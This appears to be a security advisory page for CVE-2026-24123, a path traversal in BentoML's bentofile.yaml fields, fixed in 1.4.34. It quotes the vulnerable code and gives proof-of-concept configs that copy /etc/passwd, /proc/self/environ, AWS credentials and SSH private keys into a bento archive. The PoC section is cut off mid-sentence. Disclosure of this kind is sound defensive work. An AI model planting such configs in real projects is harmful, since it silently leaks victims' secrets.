Skip to content
BentoMLGHSA-6r62-w2q3-48hf

BentoML has a Path Traversal via Bentofile Configuration

High7.4CVE-2026-24123 · Published Jan 26, 2026 · updated Jul 7, 2026

GitHub advisory

Affected versions

PackageAffectedFixed in
bentoml
PyPI
< 1.4.341.4.34
Details and references

### Summary BentoML's `bentofile.yaml` configuration allows path traversal attacks through multiple file path fields (`description`, `docker.setup_script`, `docker.dockerfile_template`, `conda.environment_yml`). An attacker can craft a malicious bentofile that, when built by a victim, exfiltrates arbitrary files from the filesystem into the bento archive. This enables supply chain attacks where sensitive files (SSH keys, credentials, environment variables) are silently embedded in bentos and exposed when pushed to registries or deployed. ### Details The vulnerability exists in how BentoML resolves user-provided file paths without validating that they remain within the build context directory. **Vulnerable function** in `src/bentoml/_internal/utils/filesystem.py:114-131`: ```python def resolve_user_filepath(filepath: str, ctx: t.Optional[str]) -> str: _path = os.path.expanduser(os.path.expandvars(filepath)) if not os.path.isabs(_path) and ctx: _path = os.path.expanduser(os.path.join(ctx, filepath)) if os.path.exists(_path): return os.path.realpath(_path) # No path containment check raise FileNotFoundError(f"file {filepath} not found") ``` **Vulnerable code** in `src/bentoml/_internal/bento/bento.py:348-355`: ```python if build_config.description.startswith("file:"): file_name = build_config.description[5:].strip() if not ctx_path.joinpath(file_name).exists(): raise InvalidArgument(f"File {file_name} does not exist.") shutil.copy(ctx_path.joinpath(file_name), bento_readme) # Path traversal ``` All four vulnerable fields: - `description: "file:../../../etc/passwd"` → copied to `README.md` - `docker.setup_script: "../../../etc/passwd"` → copied to `env/docker/setup_script` - `docker.dockerfile_template: "../../../secret"` → copied to `env/docker/Dockerfile.template` - `conda.environment_yml: "../../../etc/hosts"` → copied to `env/conda/environment.yml` **Multiple path formats are supported, making exploitation trivial:** | Format | `description` | `setup_script` | `dockerfile_template` | `environment_yml` | |--------|---------------|----------------|----------------------|-------------------| | Absolute paths (`/etc/passwd`) | Yes | Yes | Yes | Yes | | Tilde expansion (`~/.ssh/id_rsa`) | No | Yes | Yes | Yes | | Env vars (`$HOME/.aws/credentials`) | No | Yes | Yes | Yes | | Relative traversal (`../../../etc/passwd`) | Yes | Yes | Yes | Yes | | Proc filesystem (`/proc/self/environ`) | Yes | Yes | Yes | Yes | The `description` field uses `pathlib.Path.joinpath()` directly, while other fields use `resolve_user_filepath()` which calls `os.path.expanduser()` and `os.path.expandvars()`. The `/proc/self/environ` vector is particularly dangerous in CI/CD pipelines where secrets are commonly passed as environment variables (`AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, `DATABASE_PASSWORD`, etc.). ### PoC 1. Create a minimal service: ```python # service.py import bentoml @bentoml.service class TestService: @bentoml.api def predict(self, text: str) -> str: return text ``` 2. Create malicious `bentofile.yaml`. Multiple attack vectors are available: **Vector 1: Exfiltrate /etc/passwd via description field** ```yaml service: "service.py:TestService" description: "file:/etc/passwd" ``` **Vector 2: Exfiltrate all environment variables (CI/CD secrets)** ```yaml service: "service.py:TestService" description: "file:/proc/self/environ" ``` **Vector 3: Exfiltrate files using environment variable expansion (docker fields only)** ```yaml service: "service.py:TestService" docker: dockerfile_template: "$HOME/.aws/credentials" ``` **Vector 4: Exfiltrate files using tilde expansion (docker fields only)** ```yaml service: "service.py:TestService" docker: dockerfile_template: "~/.ssh/id_rsa" ``` Note: The `description` field does not support `~` or `$VAR` expansion. Use absolute paths or relative traversal for `description`. The `docker.*` and `conda.*` fields support a

CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Severity from
GitHub (reviewed advisory)
Weakness
CWE-22
Also known as
CVE-2026-24123, PYSEC-2026-1218

More BentoML advisories

All BentoML
DateAdvisory
Mar 3BentoML Vulnerable to Arbitrary File Write via Symlink Path Traversal in Tar Extraction
CVE-2026-27905Highfixed in 1.4.36
Mar 26BentoML has Dockerfile Command Injection via system_packages in bentofile.yaml
CVE-2026-33744High7.8fixed in 1.4.37
Apr 3BentoML: Command Injection in cloud deployment setup script
CVE-2026-35043High7.8fixed in 1.4.38
Apr 3BentoML: SSTI via Unsandboxed Jinja2 in Dockerfile Generation
CVE-2026-35044High8.8fixed in 1.4.38
May 7BentoML has Information Disclosure in `bentoml build` via symlink traversal in the build context
CVE-2026-40610Medium5.5fixed in 1.4.39
May 11BentoML Dockerfile command injection via docker.base_image (sister of pending GHSA-w2pm-x38x-jp44 / CVE-2026-33744 / CVE-2026-35043)
CVE-2026-44345High8.8fixed in 1.4.39

Critical advisories by email

Wednesdays: the week’s critical and high advisories in the AI and data stack, with the fixed versions. Only in weeks that have some.

Double opt-in. Unsubscribe any time.